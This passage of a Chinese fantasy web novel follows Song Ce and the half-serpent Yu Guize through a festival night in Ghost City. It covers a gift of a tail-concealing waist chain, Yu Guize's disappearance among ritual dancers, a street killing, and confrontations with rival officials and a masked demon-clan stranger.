宋策面上露出几分厌烦的神情,他就着章子上的余红,盖在折子尾页,印在纸上的仅仅是一个不清晰的红印,随后他将册子撇进一个方木盒中。
喻归泽见着宋策终于处理完从外面带回来的事务后,他缓缓扭动着绯色长尾移动到宋策身侧,有些不确定地低声问:“系在腰上的吗?”
宋策揉揉因为握笔而胀痛的指侧,缓和有些不舒服的眼睛。
他抬头看向喻归泽围在腰间的饰物:“戴在里面。”
“里、里面,什么里面?”喻归泽瞪着一双眼,神情有些恍惚,握住腰链尾端的手都有些局促,他觉得自己的腰腹肌肉都不自觉地紧绷起来。
腰链整体主要由暖粉色调的珍珠串联,珍珠之间连接着光彩夺目的宝石,围在腰间的珍珠构成精巧的花纹样式,腰下坠着长度不一的珠串,尾端连接着晶莹剔透的灵石。
拿着这条熠熠生辉让人难以移开视线的腰链,喻归泽能感受到腰链灵石之间有灵力波动,他突然觉得手中东西有些烫手。
他记得以前被囚禁在游商贩队伍中时,会看见有人给自己的奴隶带一些无法言说的饰物控制其行动,与其说是饰品,不若说是刑具,他亲眼见过一个神识清醒的人变成只知摇尾乞怜的兽类。
喻归泽眼瞳微颤,他僵直在宋策案桌边,不知所措地摩搓着手中珠串。
宋策有些奇怪地看向喻归泽,继而视线转向他的腰下:“怎么了?”
喻归泽应激地退后,那条长尾情不自禁地盘在黑色衣袍之下,他掐着指腹,艰难问出口:“这有什么用吗?”
“宿主,他这是怎么了?刚才不还好好的?”系统也被喻归泽的反应弄的满头雾水,若是不喜欢宿主送的腰链也不至于反应这么大吧。
宋策神色未变,他目光从喻归泽的躁动不已的尾巴一寸寸地移上喻归泽不停眨动的眼睫,他身体靠在身后椅背上,扬眉道:“你那条尾巴不是不喜给人看?这个可以遮掩你的尾巴。”
闻言喻归泽愣在原地,赤红色从他的脖颈蔓延到面上,白皙的耳根都泛起异样的绯色,他圆睁的眼也因此剧烈地眨动着眼睫来掩饰自己的慌张和失措。
他上前几步,伸手却不知想做些什么,嘴唇微张不知所言:“我……”
宋策指尖轻轻叩击桌面,神色揶揄语气带着调侃:“你要是不在意就还我,在鬼城我的东西高价卖都是有人要的。”
喻归泽的手慌不择路地将腰链围在腰间:“要、要的。”
他眼尾荡漾着红意,抬头看向宋策的视线都带着不易察觉的强调:“你送给我的,不、不能卖给别人。”
宋策嘴角略弯,眉梢都罕见的挂着笑意,那张向来冷淡的脸上显得不再令人感到生人勿近,喻归泽仅看一眼就低着头拨弄自己的腰链。
“你以为这个腰链是做什么的?”
喻归泽转身拿着宋策带回来的衣物含糊地说了几句话就逃也似的离开了宋策屋子。
喻归泽离开后,宋策简单收拾杂乱的桌面,走至床沿拿起放在床上的衣袍轻轻抖开。
“宿主,你好用心啊,找人做衣服还不忘给喻归泽做了新衣服”,系统时时刻刻不忘讨好宋策,“怕被人识破喻归泽的身份还特意给他做了腰链掩盖尾巴。”
“他一直穿我的衣服,不合适的衣物穿着难看。”
宋策系上最后的腰封,轻微施展灵力,散落的长发被束起,一支汉白玉色发簪插入发间,他推门而出,喻归泽已在门外台阶下等候。
喻归泽看着站在门内的宋策,眼角微微张开,嘴唇上扬,一双眼在夕阳余光中溢出一抹涟漪,随即他笑着问宋策:“我们现在就走吗?”
宋策走下台阶,站在院落的石凳边示意喻归泽坐下,一刻时光,宋策就利落地将喻归泽长久披散的头发收拢好,同样的玉簪插入乌黑发间,宋策拍拍喻归泽的头顶:“好了。”
喻归泽嘴边笑着,手上动作摸了摸发簪,但他起身时眉头皱起伸手拽着自己的腰带,低声说:“那个腰链我戴了。”
“我知道。”
宋策低头观察他的尾巴。
他身穿浅绿色衣衫,尾巴从衣摆下伸出但只能看出一抹白色的轮廓,绯色的蛇尾再也看不出半点。
宋策接过喻归泽拿在手中的蛇纹玉佩系在他的腰间,玉佩下流苏随着喻归泽的动作轻微晃动,淡绿色的衣衫映衬得喻归泽仿佛是刚化形的小妖般青涩澄澈。
“这个腰链戴着有点难受。”说着喻归泽有些不适应地扭动腰身。
宋策拉着喻归泽的腰靠近,眉心微蹙:“你系得这么紧做什么?”
宋策目不改色地为喻归泽松解腰带,隔着衣料为他调整腰链位置:“忍忍,习惯就好了。”
喻归泽忍不住瑟缩腰身,身体摇晃一只手拽着宋策的墨色衣襟站稳,另一只手整理自己的衣摆低着头闷声:“你怎么还穿黑色的?”
宋策为他系上腰带,没听清喻归泽的话,他微抬头疑惑:“嗯?”
“没什么。”
……
集市喧闹,灯火摇曳,落日的余晖散落在街头,鬼城的集市已经人来人往,老少男女雌雄络绎不绝。
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喻归泽跟在宋策身后:“等等,别走那么快。”
“对啊,宿主,你走那么快干什么,今日本来就是带他出来游玩的,不用像平日那样急匆匆地赶时间。”
一直拉着宋策衣袖的喻归泽这时感觉面前人脚步缓下来,他嘴角莞尔看向宋策的眼在街灯映照下显得更加明艳。
喻归泽拉着宋策衣袖的手向上移动几寸靠近手腕,见宋策没有表示,他指尖轻微用力拉紧。
玉壶光转,弯月高悬,春风浮动十里长街灯烛,街道边商贩熙熙攘攘叫卖不绝。
人影窜动,祀春日比宋策预料的还要热闹,但他对人欢马叫的节日兴致缺缺,后续完全是精力充沛的喻归泽拉着意兴阑珊的宋策游街。
“宋哥,那是什么?好多人!”喻归泽兴致昂扬地支起尾巴垫高看向人群中央,长街两道围绕着众多人,一行人浩浩荡荡地向这边走来。
“跳大神?”系统借着宋策的视角看清远处的队伍,一行人穿着怪异诡谲的衣服,面戴色彩艳丽怪诞的面具站在行驶而来的兽车上手舞足蹈,他们手中摇动着铃铛,击鼓伴舞,响动震慑云天,声势浩大。
“宋哥你看他们脸上戴的面具!”喻归泽拉着宋策挤入人堆中,见此场景系统暗自观察宋策的神情,奇怪于一向不喜扎堆的宿主居然毫无反应地跟着喻归泽。
宋策扶着喻归泽的肩膀防止旁人推搡,他将喻归泽半揽,终于看清游街队伍的全貌。
宋策微拧眉微不可查地叹气:“别瞎窜。”
喻归泽抬头:“啊?”
周围人声嘈杂,人们接踵擦肩,喻归泽听不清说话声,抬头只能看清宋策的下颚和喉结。
喻归泽被人挤靠在宋策左侧肩膀,他低头不再看游街声势浩大的队伍,暗自抿直唇瓣,手上拽着宋策挤出人群:“人太多了,好挤。”
宋策在他身后看见喻归泽发尾散乱,他伸手略微为他将落在肩头的长发拨至肩后,喻归泽似有感觉般蓦的转身对上宋策的动作。
顿在两人视线之间的修长手指蜷屈,几息之中两人似乎都未察觉对方的动作,目光怔然停驻在原地。
被拥挤的人群擦过肩膀的喻归泽最先醒悟,他意识到两人站在人流中,于是徒然拉起宋策的手离开逆流而行。
喻归泽呼吸有些急促,许是人潮汹涌,万人喧嚣,他耳边听不清任何声音,恍惚那些杂音都消失在耳边,又恍然从远方飘来。
逆流而上,衣袍相擦,肩膀摩挲,烛火影影绰绰。
宋策看着喻归泽前进的背影,看似单薄纤弱,宋策却不以为然。
“饿了吗?”
喻归泽步履稍顿,仍旧未回头只是向前走:“还不饿,看一会再去买吃的。”
说完他调整步速,两人距离渐短,相互靠近,喻归泽贴着宋策肩问:“你要休息吗?”
“再看一会吧,今夜不急。”
14. 第十三章
城中烟火通明,集市上车水马龙,人与人嬉笑言欢,热闹非凡。
难得鬼城阴沉阴霾的场景能展现这番张灯结彩、星如雨落满城的景象。
“宿主,你看那个兔子花灯好好看,你买一个给喻归泽怎么样?”
热闹繁华的集市,各式各样的新奇小玩意儿让系统目不暇接。
宋策不语,没有搭理系统的提议。
他穿着墨色衣袍与喻归泽并肩行走,他们走在烟火灯光交错辉映的街道,长身而立,不疾不徐地走过人群,拥挤的集市上人群许是见到两人周身行头和气质不似一般妖类,都稍稍自觉避开。
顺着系统的指示宋策看见不远处河道边几处贩卖色彩鲜艳灯笼的摊位,摆放的花灯形状各异精巧可爱。
鬼城不属于人界范畴,大多族群混杂,也会有人族居住,花灯这种人族的东西在鬼城自有售卖。
“宿主,你买一个嘛?”
系统不断催促宋策买一个花灯,他一直盯着那只小兔子形状的白色灯笼。
小兔子被做的精致可爱,两点朱红落在兔子脸侧,惟妙惟肖。
“快快、花妖楼今天又在外围摆楼。”
“快、快,再不走,占不到好位置了。”
……
一群人肩摩毂击地拥挤着、推搡着,往宋策右边跑去,宋策被人群挤到河道旁,一只包裹掉落,宋策眉微皱,他附身捡起包裹。
初春的微风拂过他眼侧,空无一物的左眼微动,他抬眸看向人群,拥挤的人奔奔走走,早已不见方才眼中留下的身影。
“宋哥,怎么了?”喻归泽拉着有些愣神的宋策。
宋策神情一凝,眼神扫过众人移动的花楼方向,收回目光:“无事。”
喻归泽察觉到宋策的视线:“宋哥,你想去吗?”
“不了,先看过这条街再说吧。”
“哎,买不买花灯?不买我就走了啊,我要去看花妖楼看热闹了。”站在摊位一侧的小妖看了眼宋策,见宋策眼神看向他方,他对旁边人招呼:“嘿,花大娘,帮我看一下摊位,我去看看哈。”
说完,摊主就随着人群没入人流。
“嘿,哪有你这样做生意的。”
她对站在摊位旁不做声的宋策言笑:“公子,买个花灯吧,买个花灯图个好彩头。”
宋策转身,她看着宋策的眼睛,有片刻停顿,但瞬间恢复笑意:“公子要花灯吗?”
宋策指尖轻压着腰封,看了一眼摊位上花红柳绿的灯笼,随手一指:“这个吧。”
“宿主,为什么不要小兔子的?”他的语气听上去有点不服气,明明小兔子很可爱啊。
“不喜欢。”
“好吧。”系统有些失望。
喻归泽面露欣悦地拿过宋策递来的花灯,他稍稍提拉两支提竿,手中白蛇形状的灯笼就能精巧地扭动蛇身。
“宋哥,这个灯笼做的好巧。”
说完喻归泽蹭着宋策的臂膀贴近:“宋哥,是不是喜欢蛇?”他捏着袖袍小声,“虽然我不是蛇妖,但是我的尾巴和蛇尾巴差不多的。”
宋策低头就能看清喻归泽举目投来的情感,一双亮晶晶的眼眸中盛满万盏灯火。
他略微侧身,看一眼周围擦肩接踵的人群叮嘱喻归泽:“人多,别乱跑,丢了找不到。”
街市喧闹,长袖舞动,衣袂相措。
“宋哥、宋哥,你看你看——”喻归泽路过一处小摊,指着摆设的小吃,看向宋策的眼中满是期待。
宋策抱手身体靠在一侧的石柱上,目光中是不易察觉的无奈和笑意:“钱袋都给你了。”
喻归泽唇角轻挑,动作毫不迟缓似乎是生怕宋策反悔:“那我买了啊。”
“他的样子完全不像是和你商量的样子,这一路他都不知道买了多少吃的,从街头吃到街尾,他不撑得慌吗?”系统可以理解喻归泽刚出门活泼点很正常,但是就这么一直吃真的没事吗?
“宋哥帮我提一下这个。”喻归泽将手中包裹好的糕点递给宋策。
宋策站在喻归泽身后,一袭黑袍加身的宋策身形掩入阴影中,喻归泽时不时回头看宋策,街道上的灯火洒在喻归泽白皙的脸庞上,他整个人都看上去柔和无害。
每次回头都能看见站在背后的宋策,他总能笑着和商贩说几句。
宋策离的几步远,在嘈杂的街道上却也只能听清几句。
“他在和那个大爷说什么呢?说的这么起劲。”系统有些稀奇,喻归泽买个东西也能和别人说上几句,和宿主相处这么久他可从来没看见宿主和谁能好好说话。
“哎!”喻归泽笑着双手接过手中点心,不忘悄悄回头瞥一眼宋策,眼瞳亮堂盛满春光,“谢谢大伯!”
看着喻归泽提着包裹身形轻快地走进,系统有些纳闷:“哎?他没付钱吗?”
方才他明明只看到喻归泽一直在和大爷聊天,哪有付钱的动作,这东西不要钱?
喻归泽蛇尾移动地有些快,他面上急切地将宋策拉出阴影,走到街心:“快走!”
走出街道拐弯处,宋策手掌略微用力拉住喻归泽:“差不多了。”
喻归泽停下,呼吸有些轻喘,他脸颊薄红喘着气,鬼城的气候还透着寒气,喻归泽每次胸膛起伏,粉色唇瓣中都能吐出一串雾气,见此场景的喻归泽颇有些不好意思地摸摸鼻尖,本就冒着粉色的鼻尖愈发泛红。
喻归泽撑着宋策的手臂站稳身体,脸上是想笑却又隐忍的表情,最后他提着包裹对宋策说:“大伯没要我钱,但是我还是偷偷塞到他的摊位上了,我怕他追上来还钱。”
“没要你钱?”宋策语气含着些稀奇。
喻归泽略微靠近宋策肩侧,神神秘秘地低声:“大伯说他认识你,说你帮过他,以为我是你的弟弟所以说不收我钱。”
喻归泽向前走动,尾巴骨毫无章法地摆动,趁着几分空隙还拍拍地面,可见其心情愉悦畅快。
宋策双手环抱,指尖轻点臂膀,扬眉:“他认识我?”
喻归泽自然地将手中点心小心拆开捡起第一颗递
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给宋策:“他说这条街上没有人不认识宋大人——”
喻归泽语速缓慢,眉间高高扬起,却故意将“大人”二字拖长,仿佛就是要宋策注意话中浅意。
“你吃一个。”喻归泽将点心递到宋策嘴边,一副他不吃就誓不罢休的作态,“你吃一个啊。”
宋策退后一步,无奈他低着眼眉一只手挽住喻归泽举着糕点的手,另一只手接过送入口中。
见此喻归泽眼中欣喜之意都快要装不下眼眶,他自然地将剩下的包裹递给宋策:“那个大伯说你联合城主手下人镇压了附近的灵气旋涡,免了许多人被灵气虐杀,他们很感激你。”
喻归泽摸摸自己的发簪,突然靠近宋策压低尾音:“他说城主虐杀弑杀,你有时候还会为城中居民求情,他还说你是个好人!”
听到这里宋策冷淡的表情终于露出忍俊不禁的笑意,他伸出手掌推开贴近自己的喻归泽,饶有兴趣地盯着喻归泽的眼睛:“我是好人?”
“对啊,你是好人!”喻归泽向着人群中靠近,不忘招手示意宋策走快一些,“宋哥,快些,看前面游街人挑舞!”
“宿主,喻归泽居然说你是好人哎。”
喻归泽距离宋策几米远,他随着人流靠近长街边缘。
“怎么?”
冰冷的数字分析让系统觉得自己的话似乎有些不对劲,但是喻归泽说完这句话宿主也没什么反应啊。
“宿主,我不是那个意思,宿主肯定是好宿主,否则我怎么会绑定到宿主做任务?”
“呵。”宋策跟着喻归泽的身影靠近游街表演。
周围喧哗起哄声恰似浪潮奔涌而来,烟火花灯摇曳舞动,长袖善舞绚烂艳丽,撩动心神。
宋策微侧身闪躲一个面露酒色,浑身酒气熏天的醉鬼,视线留意几米之远的喻归泽。
“宋哥,你看他们跳的舞,是不是很好看?”喻归泽垫着尾巴支起身子看从街头浩荡而来的队伍。
几行人排成几排队伍,领舞之人戴着面具站在巨大的鼓面上姿态轻盈如羽,长袍纷飞,激起微风几许,好似山林妖仙,追随其后的人也都跟着主舞舞动身姿,他们姿态不似大多祭祀舞那般诡谲夸张反而柔美妖娆,那些人的腿仿佛如蛇尾般灵活地扭动弯曲,衣袍挥动身姿旋转之间,双腿也随着腰身摇摆。
“这个舞还有人跳?”
“这些人是不想活了吗?”
“你不知道吗?前几日有人说城主闭关了。”
“啧啧啧……”
宋策侧耳,几个说话的小妖察觉到自己说话声有些大,都不由自主压低嗓音离去,宋策凝眉,眸中闪过一丝精光。
“宿主,喻归泽不见了!”系统观察四周突然没发现喻归泽的身影。
宋策放下思绪,视线扫过四周,嘈杂的人声仿佛从远方杳杳传来,人影攒动,纷繁迷离的场景让人眼花缭乱。
“宿主,宿主。怎么办?”系统发现喻归泽消失后急得不行,时刻在宋策脑中轰炸,“刚刚还在这里,怎么突然不见了?”
15. 第十四章
集市嘈杂,宋策环顾四周,没见到喻归泽的影子,人声愈演愈烈,吵得他头疼,他眉间蹙起,无意识地转动戒指。
“宿主,你看,他在队伍里!”系统察觉到喻归泽的身影,惊喜地叫出声。
“看到了。”
人头攒动,挨肩擦背,宋策锁眉穿越汹涌人潮。
“他……怎么了?”系统视线一错不错地盯着喻归泽,有些疑惑震惊。
喻归泽跟在队伍中,身姿随着那些祭祀舞者摆动,他似乎万分熟练地挥动衣袖,穿着和游行队伍完全不同的长衫,诡异的动作让他看上去格格不入。
喻归泽的视线没有看向宋策,追随着游街队伍前行。
宋策靠近企图将喻归泽拉出,“嘭”的一声,火光照射天际,人群视线被黑夜中喷发而出的烟火而吸引,宋策的右肩接连被人撞到。
宋策皱眉抬眼再看去,一袭青衫早已不见踪影,只剩下朦朦胧胧的红火灯光,他空洞的左眼恍然刺痛,另一只眼也有片刻模糊。
“怎么回事?他又去哪了?”显然现在的系统比刚才还要紧张。
“没走远。”喻归泽放下转动戒指的右手,面色沉静退出人群。
“大人。”
青面鬼领着一行人站在自己身后。
宋策转身看到低着身子向自己行礼的青面鬼。
沉默。
两人在灯火绰约的喧闹集市对立,青面鬼身后跟着几个人随着他向宋策行礼,过路人或多或少会回头看一眼站立在人群中看着不显山水,负手而立的宋策。
方才跳着怪异舞蹈的游街队伍这时已经倏然消失,宋策敛目沉思。
他揉揉眉宇,只是撇了眼青面鬼,转身欲走。
“大人?”青面鬼显然没想到宋策会当做没看见自己,他表情有瞬间的怔然。
青面鬼跟在宋策背后拦住他:“大人?”
宋策转身,青面鬼低着头只能看到微风掀起宋策黑袍下摆。
宋策走近几步,阴影笼罩住青面鬼的视线,他微不可查地向下低着身子。
“有事?”宋策语意不明,站在青面鬼背后的一行人退至一边,氛围僵滞。
“方才见大人左右徘徊,心中疑虑大人许是遇到麻烦,特来询问。”
青面鬼说完宋策却也未多说一字,他见此语意稍显缓和故作轻松:“每年祀春日,城中都需要维持治安,大人可有吩咐。”
“没有,退下。”
青面鬼躬身:“大人若无事,小人这就带人离去。”
宋策面无表情地颔首,青面鬼姿态一顿,带着人从宋策面前走过。
系统还在咋咋呼呼地吵闹:“系统,你怎么还有功夫和他闲聊!”
宋策没工夫搭理系统,他追溯一眼方才祭祀舞消失的街道尽头,系统却听见宿主似乎低声说了一句什么。
……
“宿主,这两个小家伙能找到喻归泽吗?”
宋策肩头栖息着一飞蛾,另一只扇动着薄翼飞在宋策前方。
“粉散去之后还找不到,你就祈祷他自求多福吧。”宋策停在一处灯火通明的楼层前,指尖轻抬,飞蛾轻落。
“宿主,我相信你!”
楼前水泄不通地围着一众妖类,散修,有的三五成群拦着路边姿色艳丽的女修和女妖。
宋策捻捻衣袖,抬头看向楼前搭设的高台。
高台丝带蹁跹,妖娆缠绕,内里朦胧迷离,吸引人伸脖子垫脚窥视。
萎靡之音余音缭绕,站台下人恨不得将身子爬上木台子一探究竟。
“宿主,这是那个啥吧?花妖楼?喻归泽不会被别人抓来卖进去了吧?”系统急的都快要哭了。
宋策敛眉不动神色地观察周围疯狂的男男女女,视线机敏地扫过几处位点。
人群中发出一处波动,但很快消声。
“打人啦,杀妖了!”
“怎么了,怎么了?”
一处人窝里头突然飞出一个残影,打断了台上的音乐。
祸端起在宋策几步之远,他侧身闪躲,那个血淋淋的头颅如同木球咕噜噜地滚到他的脚边,头颅上凸起的死灰色眼睛正瞪着,宋策低头和眼珠相对。
周围看热闹的人看清散落在地上的四肢和溅落的血迹都倒吸一口凉气,有些人挥着手锁着眉头毫无惋惜可怜之情,有些则不忍直视转身离去。
这种事在鬼城很常见,五年光景,时间蹉跎即使再不习惯也习惯了。
宋策眉宇间冷淡,眸中留有几片阴云。
大多人麻木地扫视刚刚发生的惨景,不过半炷香时刻,青面鬼带着人走来,剩下的人熟练地收拾残局。
“大人?”青面鬼显然有些意外宋策会出现在烟花之地。
“怎么回事?”
“一只妖物发了狂,竟当街碎尸,惊扰到大人是小人处理不当。”青面鬼带来的人利落地驱散人群,慌乱的人湮没在朱红烟火中,吵吵闹闹的杂音让青面鬼尖细的声线略显迷离恍惚。
“宿主!你怎么在这里和他闲谈?喻归泽呢不找了吗?”系统心急如焚,他不停地在宋策耳边语音轰炸。
“大人,方才碎尸之人已被捉获,打扰到大人请勿怪。”青面鬼抬起他那张青灰色的脸,举手加额,一副对宋策毕恭毕敬的样子。
系统观察青面鬼的姿态,实在忍不住:“宿主,快让他走吧。”
宋策拎拎被头颅蹭到血的衣摆,虽然黑色面料看不见血迹,但是血腥味随着风淡淡地萦绕在鼻尖,他视线从脚下扫过落到不远处地上四溅的一滩血水。
“碎尸之人眼神不对。”刚才被制服带走的人张着嘴,面露狰狞之色,双手沾满鲜血,圆睁着眼却露出空洞茫然神情。
宋策目光沉沉,看着眼前这个低头游刃有余行礼汇报的人,他没有让青面鬼起身离开的意思。
青面鬼抬起的胳膊微顿,那张僵硬的面皮看不出丝毫表情,他还是转和语气:“大人好眼力,近些日子城中出现好几例这类案子,但都查不到源头。”
宋策盯着青面鬼对着自己的那没剩下几根头发的青灰色头皮,抿着唇抬手让他起身免礼,跟在青面鬼身后的人似乎也从这层压抑的氛围中解脱。
系统实在憋不住:“宿主,知道你
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嫌他丑,但是你可以让他给你找找喻归泽啊。”
“呦,宋大人也在啊?”来人挥着手中佛尘,身穿一席白衣,一副仙风道骨般做派,但众人视线移向他那张枯树皮一样的脸皮时,眼中又闪出一抹扭曲之色。
段厄与人作伴,身姿闲散安逸,表情上确是惹人厌恶的阴阳怪气。
“段大人和朱大人也在。”青面鬼象征性地躬身。
朱半规好脾气地嬉笑,没心没肺的样子,青面鬼退至一侧,将空间留给宋策。
“往年我们宋大人可是一点都瞧不上这祀春日”,段厄挑起苍白干枯的唇,眼珠浑浊泛黄溢出嘲讽,他将左手佛尘搭在右手臂弯间,“哦,我倒是忘了,宋大人不是瞧不上这祀春,是瞧不上这鬼城、瞧不上我们呐。”
宋策脸上毫无被针对的恼火神情,他右手自然垂下,罕见地挑出几分漫不经心的笑意:“知道就好。”
“你!”
朱半规和青面鬼一样往后退几步,显然不想卷入无妄之灾。
系统看着被宿主一句话噎住的段厄,心中窃喜嘴上嘲讽:“看着都一把骨头了,怎么还这么没眼力见?”
“宋哥?”忽然风中传来一声轻语,众人闻声看去。
夜间春风吹起喻归泽的衣袍,将他薄衫微掀,他站在红色灯笼之下,身影被斜斜的投落在地面,随着他走近,黑色阴影拉长,无声的气氛也愈发显得沉寂。
“他果然在这里!”系统惊讶于喻归泽居然自己回来了。
朱半规眼中闪过一抹惊艳,嘴上没个把门:“这……这、这是认识我们宋大人?”
朱半规向前走几步却被段厄拉着退下,朱半规被他混黄的眼珠瞪了一眼,恍神。
喻归泽唇色发白,发丝凌乱,他手中拿着宋策临出门给他插上的玉簪,鼻尖泛着红晕,风吹起他鬓角散落在肩头的黑发,他目光紧紧跟着走近自己的宋策,吐出的话音混着远处缥缈的人声和晚风显得柔绵微茫。
宋策挑起喻归泽仍旧挂在腰间的玉佩,视线落在他手中拿着的发簪上:“去哪了?”
喻归泽突然靠近宋策,胳膊搭在宋策肩上歪头靠在他脖颈间,声音含糊不清:“方才那个舞,我好像会跳。”
“嗯。”宋策单手搭在喻归泽腰上,微低头吹去喻归泽肩头淡色粉尘。
“本来想和你闹着玩的”,喻归泽察觉到宋策的手,他也将胳膊滑落至宋策腰上收紧,“不知怎么的,队伍突然乱了,我想去找你时,已经不知道到哪了。”
灰色飞蛾绕着喻归泽挥动翅膀,落在他的发间轻轻挑动灰色薄翼。
青面鬼低眉未抬头:“大人,刚才我们发现可疑之人躲在游街队伍中,暗中疏散人群,想必是惊扰了这位公子。”
段厄那张枯涩的面皮上看不出任何神色,眼中浑浊无光。
朱半规尴尬地笑着摸着鼻子,他那颜色艳丽的绫罗绸缎被他无意间揉捏起皱,他心中起疑。
面前这位姿态不凡的公子衣服上绣的暗纹手艺,岂不就是他那天介绍给宋策的绣娘绣的。
朱半规看着眼前的场景只知道讪笑掩饰尴尬。
16. 第十五章
“怎么搞成这样?”宋策蹙眉拨开喻归泽肩头的长发。
喻归泽低着头闷声闷气:“被人撞倒了”,他的尾音悠绵消声在风中,“你送我的小灯笼也被我弄丢了。”
宋策轻点喻归泽腰身,言语中毫无安慰和缓的意思:“笨。”
喻归泽埋首抵在宋策胸口,料峭寒风不经意间的吹拂将他脑中的几分不清醒给吹散了,他扶着宋策的胳膊站直身。
喻归泽抬起头看清宋策背后的人,他压低眼帘,眸中莹光泛起涟漪。
宋策背身面对青面鬼等人,喻归泽刻意藏匿在他背后。
朱半规好歹有些眼力见地在这不同寻常的场景中打着圆场:“我说今日怎么有幸能和宋大人在这碰面,原来大人是在等这位公子啊。”
朱半规弯着眉毛越过宋策同喻归泽嬉笑着打招呼,喻归泽视线清澈如水,他盯着朱半规的眼神,目无波澜。
诡异的氛围被朱半规打断,段厄摇着手中的佛尘,从朱半规身侧上前几步,那张皱皮松弛的脸皮在段厄脸上蠕动着企图做出波澜不惊的神情,嘴上依旧带着挖苦和讥笑。
“城中都在传宋大人金窝藏娇,起初我半分不信”,段厄视线扫过宋策背后白皙的脸庞,“如今倒要赞叹大人不仅炼丹炼器天赋过人,这眼光也得天独厚,与众不同。”
“不是,他有毛病吧,嘴巴烂了啊?就不能好好说几句?”系统早就受不住这个满脸瞧不起人嘴巴上还阴阳别人的老东西了。
朱半规打着哈哈,眼中却有些焦急情绪,他暗中拉扯着段厄的后腰布料,手上没轻没重,段厄被他拉了一个踉跄。
“你拉我干什么!”段厄拧着眉,浑浊眼珠转动瞪着朱半规。
“少说两句。”朱半规私下给段厄传音,一双眼打眼色都快成了斗鸡眼了。
宋策一寸寸将衣袖从喻归泽手中抽出,他瞥一眼还靠在自己身上的喻归泽:“还没靠够?”
喻归泽身形稍顿,他抬头看着宋策,眨眨眼睛,唇瓣微启:“怎么了?”
宋策侧身让开扶正喻归泽的身体,伸手抬起他的下颚,目光沉沉,语气略带考究:“身上疼吗?”
喻归泽随着宋策的动作抬头看着宋策审视的眼,他抿抿嘴唇:“摔倒了胳膊有些疼”,说着他还抬起胳膊。
喻归泽浅绿色衣袖上沾上泥灰破着洞。
系统都能想象出喻归泽一个人拖着一条大尾巴艰难挤在人群中被人撞到后狼狈爬起来,还要忙着捡起掉落的簪子的样子,他都觉得一言难尽。
宋策没有查看他那只受伤的胳膊,唯一触碰他的右手顺着他的下颌摩挲到他跳动的动脉,汩汩涌动的血液让宋策能感受到指下的鲜活的生命。
半晌,喻归泽见宋策毫无动作,他有些奇怪地缩缩脖子,本能地伸手按住宋策的手腕:“怎么了,宋哥?”
几息之后,宋策微动手腕挣开喻归泽的手,眉宇间突然夹杂着些许恼意:“不曾想你这么笨。”
喻归泽的目光恍惚黯然,他低下头,语气闷闷:“……没有很笨吧。”
碎尸的血腥气味还飘散在空气中,周围的人都被护卫驱散,宋策一行人站在一旁,朱半规时不时扇动着折扇,动作之大惹得旁边的段厄都不耐烦地挥着手中的佛尘。
这条街道在这祀春日显得诡异寂静,夜风微不可查地撩起喻归泽的鬓发,喻归泽捏捏自己的袖口退到宋策背后。
“大人,是属下办事不力,让这位公子受了惊。”青面鬼走至二人身前,举手加额,额间青筋凸起跳动。
系统从第三方视角盯着青面青灰色光秃的头顶,看清在灯火下他头顶上几缕细碎的红发被风吹得摇摇摆摆,系统犹犹豫豫地嘀咕:“宿主,我觉得他心眼子有点多,你这个徒弟接近你是不是动机不纯啊?”
“他若是动机单纯也不会拜我为师。”
宋策目光幽暗沉寂,昏暗的街道灯火下叫人看不清神情。
“跳舞的抓到了吗?”
不止在场的人表情诧异,系统也是一头雾水:“什么跳舞?”
意识到宋策的意思,青面鬼镇定心神回复:“祭祀神棍属下已经派人去寻。”
宋策冷笑,语气略带嘲讽:“好一个办事不力,我看你是玩忽职守。”
朱半规微瞪着眼,挠挠脑袋,心中惊异。
宋策什么时候对这些事情感兴趣了,他不是除了修炼从来不管这些琐事吗?黑风鬼交给他的事情他也是找机会挑着做,从来不多做。
朱半规带着玩笑看好戏的意思,他拉着段厄退至一边,传音:“他这是发火了?”
段厄冷淡不屑:“我看他这是迁怒,自己没看住人却给别人乱扣帽子。”
“话也不能这么说吧,他现在能这样也有一半靠宋策的。”朱半规虽然有点可怜青面鬼了,但是拜宋策为师也是青面鬼自己选的。
青面鬼俯身半声不吭,沉默的气氛犹如拜师那天,夜风不解情掀起他的衣袍,将他的下摆吹得哗哗作响,落地尘土簌簌纷飞,风不似方才的平静。
“好大的官威啊。”
自高处落下一声轻佻不羁的语调打断场下阒寂无声的气氛。
一个身影自楼层上方飘下,衣袍随着他的动作轻盈地飘落在花台上,他面戴墨色面具轻摇着折扇,发丝被风吹起,一副纨绔子弟的模样。
“何人无礼!”
“别激动嘛,路过而已。”他跳下花台向宋策走来,可以看清面具之下的一双桃花眼目光风流如水般流转在宋策身上。
喻归泽站在宋策身侧,面前的人的气息让他本能地排斥,他神色露出警惕戒备之色,眼帘冷漠压低,长眉紧锁。
宋策察觉到身侧的人微不可查的表现出凌厉戒备肃杀之气,他侧身将喻归泽拉至身后。
“宋大人?鬼城什么时候出了个这样的人物?”他歪着头打量宋策,发丝从他肩头落在打开的折扇上,他不拘小节地挥动扇面,眼中探究审视神色毫不掩饰。
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“宿主,这人看着不像是好东西的样子,最好不要招惹。”系统心颤颤,宿主为什么总是吸引这种看着就不正常的角色啊?
“半妖之身,妖丹品阶也不够看”,他眼光微闪,落在喻归泽腰间,最后目光又回到宋策身上,嘴角始终带着猎奇的笑意。
“最近路过鬼城,听闻这里出了个厉害的炼丹师,就是你啊。”他目光了然,嘴角夸张地张开笑,又看着喻归泽随即摇摇头。
喻归泽眉头紧皱,眼睫轻颤喉间发紧,他扶着宋策的手忍不住拽紧宋策后腰布料。
魔族人,刚才在河道边盯着宋策的人。
“围守在沙城区的阵是你设下的?”前些天他路过鬼城沙城区见此地灵气冲突骤变,但被设下的一方小型阵法围堵,虽说只是小型灵气旋涡,但是一般的设阵师单桥匹马都不敢轻易尝试压制住那种灵气骤变的气旋。
他话锋一转,眼珠扫视站在旁边沉默的朱半规和段厄:“我一路道听途说,原先还以为是你一人设下法阵,今日见到你……”
他眼神似是流露出些许失望叹息,摇摇头。
沙城区的灵气旋涡确实不仅仅是宋策一人的手笔,宋策有自知之明,没能力的情况下不会轻易送死。
“这人干什么?”系统语气略显紧张,这个人看着不像个好人,而且精神好像也不太正常的样子,他怕眼前笑嘻嘻摇着扇子的人下一秒突然发难。
眼前人打量着宋策,宋策也在不动神色地凝视对方,突然他眼瞳微缩盯着从他衣袖处缩回去的东西,低下眼眸。
“他袖子里好像有什么东西!”系统借着宋策眼神看见他袖中的东西。
被看着的人抬起手理理衣袖,接着说:“阵法虽稍显粗糙,但是懂得利用当地的地势和灵脉维持阵法启动,是个有想法的。”
